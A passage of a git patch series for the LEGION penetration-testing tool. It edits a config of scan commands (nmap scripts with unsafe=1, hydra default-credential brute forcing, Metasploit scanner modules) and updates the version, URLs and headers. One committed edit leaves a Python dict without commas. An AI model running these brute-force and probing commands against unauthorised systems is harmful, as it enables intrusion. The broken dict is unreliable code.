+http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap @@ -165,7 +165,7 @@ irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --scri irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql @@ -194,7 +194,7 @@ nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle @@ -209,7 +209,7 @@ pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=p postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind rwho=Run rwho, rwho -a [IP], who samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba @@ -269,15 +269,15 @@ snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=s snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp theharvester=Run theharvester, "theharvester -d [IP]:[PORT] -b all -n -c -t -h", dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt,https-alt" wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" [PortTerminalActions] From 5d91c7f732bf4a9425c84343f64c4c794fd4556c Mon Sep 17 00:00:00 2001 From: "Matthew C. Jones, CPA, CISA, OSCP, CCFE" Date: Tue, 4 Feb 2020 16:19:30 -0500 Subject: [PATCH 348/450] change deprecated msfcli commands to use msfconsole --- legion.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/legion.conf b/legion.conf index 5047eae3..f4ce1adb 100644 --- a/legion.conf +++ b/legion.conf @@ -200,9 +200,9 @@ oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --sc oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", "oracle-tns" oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", "oracle-tns" polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 From 9d6ef4f78d0dab406f7fb1bb8daf9ac96d6dfea9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 03:40:56 -0600 Subject: [PATCH 349/450] Bumping version data; Minor dep changes, URL/Email updates --- CHANGELOG.txt | 4 ++++ CONTRIBUTING.md | 2 +- app/ApplicationInfo.py | 4 ++-- deps/installDeps.sh | 2 +- precommit.sh | 4 ++-- requirements.txt | 2 +- 6 files changed, 11 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 18884e71..4ab2127b 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,7 @@ +LEGION 0.3.6 + +* Significant code refactoring + LEGION 0.3.5 * Bug Fixes diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9dab01b7..eba3e14a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -29,7 +29,7 @@ Are you interested in contributing to Legion? We love contributors! We ask that #### Do you have a general question? -* If you have any questions not related to legion's code, features, or bugs use support@gvit.com +* If you have any questions not related to legion's code, features, or bugs use support@govanguard.com diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index cb926734..59c31066 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,11 +18,11 @@ applicationInfo = { "name": "LEGION", - "version": "0.3.5", + "version": "0.3.6", "build": "1565621036", "author": "GoVanguard", "copyright": "2019", - "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.io/legion"], + "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], "update": "08/12/2019", "license": "GPL v3", diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 113df35c..4da9bb6c 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,7 +9,7 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap theharvester wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap libqt5core5a python-pip ruby perl urlscan git xsltproc DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti diff --git a/precommit.sh b/precommit.sh index d196d5e0..c42391c0 100644 --- a/precommit.sh +++ b/precommit.sh @@ -1,8 +1,8 @@ #!/bin/bash # Update last update in controller -sed -i -r "s/self.update = '.*?'/self.update = \'`date '+%m\/%d\/%Y'\'`/g" ./controller/controller.py -sed -i -r "s/self.build = '.*?'/self.build = \'`date '+%s'\'`/g" ./controller/controller.py +sed -i -r "s/self.update = '.*?'/self.update = \'`date '+%m\/%d\/%Y'\'`/g" ./app/ApplicationInfo.py +sed -i -r "s/self.build = '.*?'/self.build = \'`date '+%s'\'`/g" ./app/ApplicationInfo.py # Clear logs diff --git a/requirements.txt b/requirements.txt index 03fd9a6d..e944fa6d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,7 +14,7 @@ pyfiglet colorama termcolor win_inet_pton -pyExploitDb>=0.2.0 +pyExploitDb>=0.2.1 pyShodan GitPython pandas From 38d1ce2d38ab3a4326509cfa8089eaca47b9ab5b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 04:05:06 -0600 Subject: [PATCH 350/450] Viewstate bug --- .justcloned | 0 legion.py | 1 + 2 files changed, 1 insertion(+) delete mode 100644 .justcloned diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/legion.py b/legion.py index 454d8df5..5c173c1a 100644 --- a/legion.py +++ b/legion.py @@ -19,6 +19,7 @@ from app.tools.nmap.DefaultNmapExporter import DefaultNmapExporter from db.RepositoryFactory import RepositoryFactory from ui.eventfilter import MyEventFilter +from ui.ViewState import ViewState from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") From 5aa24bef01beba9bae1ade2ed65715b0a74ffff3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 05:12:50 -0600 Subject: [PATCH 351/450] Update headers, Update precommit script, Address handful minor bugs --- .justcloned | 0 app/ApplicationInfo.py | 10 +- app/ModelHelpers.py | 2 +- app/Project.py | 4 +- app/ProjectManager.py | 4 +- app/Screenshooter.py | 2 +- app/actions/AbstractObservable.py | 4 +- app/actions/AbstractObserver.py | 4 +- .../AbstractUpdateProgressObservable.py | 4 +- .../AbstractUpdateProgressObserver.py | 4 +- .../UpdateProgressObservable.py | 4 +- app/auxiliary.py | 4 +- app/cvemodels.py | 4 +- app/hostmodels.py | 4 +- app/http/isHttps.py | 4 +- app/importers/NmapImporter.py | 4 +- app/importers/PythonImporter.py | 6 +- app/importers/__init__.py | 4 +- app/logging/legionLog.py | 4 +- app/logic.py | 4 +- app/processmodels.py | 4 +- app/scriptmodels.py | 2 +- app/servicemodels.py | 4 +- app/settings.py | 4 +- app/timing.py | 4 +- app/tools/ToolCoordinator.py | 4 +- app/tools/nmap/DefaultNmapExporter.py | 7 +- app/tools/nmap/NmapExporter.py | 4 +- app/tools/nmap/NmapHelpers.py | 4 +- app/tools/nmap/NmapPaths.py | 4 +- controller/controller.py | 2 +- db/RepositoryContainer.py | 4 +- db/RepositoryFactory.py | 4 +- db/database.py | 4 +- db/entities/app.py | 4 +- db/entities/cve.py | 4 +- db/entities/host.py | 4 +- db/entities/l1script.py | 4 +- db/entities/nmapSession.py | 4 +- db/entities/note.py | 4 +- db/entities/os.py | 4 +- db/entities/port.py | 4 +- db/entities/process.py | 4 +- db/entities/processOutput.py | 4 +- db/entities/service.py | 4 +- db/filters.py | 4 +- db/repositories/CVERepository.py | 4 +- db/repositories/HostRepository.py | 4 +- db/repositories/NoteRepository.py | 4 +- db/repositories/PortRepository.py | 4 +- db/repositories/ProcessRepository.py | 4 +- db/repositories/ScriptRepository.py | 4 +- db/repositories/ServiceRepository.py | 4 +- db/validation.py | 4 +- legion.conf | 14 +- legion.py | 2 +- nmap.xsl | 1071 +++++++++++++++++ parsers/examples/HostExample.py | 4 +- parsers/examples/OsExample.py | 4 +- parsers/examples/ParserExample.py | 4 +- parsers/examples/ScriptExample.py | 4 +- parsers/examples/ServiceExample.py | 4 +- parsers/examples/SessionExample.py | 4 +- parsers/examples/__init__.py | 4 +- precommit.sh | 4 +- .../test_UpdateProgressObservable.py | 4 +- tests/app/http/test_isHttps.py | 4 +- tests/app/shell/test_DefaultShell.py | 4 +- tests/app/test_ModelHelpers.py | 2 +- tests/app/test_ProjectManager.py | 4 +- tests/app/test_Timing.py | 4 +- .../tools/nmap/test_DefaultNmapExporter.py | 4 +- tests/app/tools/nmap/test_NmapHelpers.py | 4 +- tests/app/tools/test_ToolCoordinator.py | 4 +- tests/db/repositories/test_CVERepository.py | 4 +- tests/db/repositories/test_HostRepository.py | 4 +- tests/db/repositories/test_NoteRepository.py | 4 +- tests/db/repositories/test_PortRepository.py | 2 +- .../db/repositories/test_ProcessRepository.py | 4 +- .../db/repositories/test_ServiceRepository.py | 4 +- tests/db/test_filters.py | 4 +- tests/db/test_validation.py | 4 +- .../test_QtUpdateProgressObserver.py | 4 +- tests/ui/test_eventfilter.py | 4 +- ui/ViewHeaders.py | 4 +- ui/ViewState.py | 4 +- ui/addHostDialog.py | 4 +- ui/ancillaryDialog.py | 4 +- ui/configDialog.py | 4 +- ui/dialogs.py | 4 +- ui/eventfilter.py | 4 +- ui/gui.py | 2 +- ui/helpDialog.py | 4 +- ui/observers/QtUpdateProgressObserver.py | 4 +- ui/settingsDialog.py | 4 +- ui/view.py | 649 ++++++---- 96 files changed, 1655 insertions(+), 442 deletions(-) create mode 100644 .justcloned create mode 100644 nmap.xsl diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 59c31066..62b2db00 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.6", - "build": "1565621036", + "build": '1580900958' "author": "GoVanguard", - "copyright": "2019", + "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": "08/12/2019", + "update": '02/05/2020' "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/ModelHelpers.py b/app/ModelHelpers.py index e6ff13ab..1d86b171 100644 --- a/app/ModelHelpers.py +++ b/app/ModelHelpers.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public diff --git a/app/Project.py b/app/Project.py index d14872c6..02586373 100644 --- a/app/Project.py +++ b/app/Project.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/ProjectManager.py b/app/ProjectManager.py index b3e5a6e4..79e2cd5c 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/Screenshooter.py b/app/Screenshooter.py index e43c61c2..89c703dc 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/AbstractObservable.py b/app/actions/AbstractObservable.py index f9919306..066bf64c 100644 --- a/app/actions/AbstractObservable.py +++ b/app/actions/AbstractObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/AbstractObserver.py b/app/actions/AbstractObserver.py index bbc04713..0039514e 100644 --- a/app/actions/AbstractObserver.py +++ b/app/actions/AbstractObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/AbstractUpdateProgressObservable.py b/app/actions/updateProgress/AbstractUpdateProgressObservable.py index e38d084b..a29ac119 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObservable.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/AbstractUpdateProgressObserver.py b/app/actions/updateProgress/AbstractUpdateProgressObserver.py index aa66ecee..71620b86 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObserver.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index 06ba6bb4..a1166682 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/auxiliary.py b/app/auxiliary.py index 7d0cc818..be899e0c 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/cvemodels.py b/app/cvemodels.py index 8a6898ac..105d7772 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/hostmodels.py b/app/hostmodels.py index 3617523c..c8e15b14 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/http/isHttps.py b/app/http/isHttps.py index 61d94dbf..62d232df 100644 --- a/app/http/isHttps.py +++ b/app/http/isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 7df7c644..21ed58fe 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index 61b4fa87..84c971c4 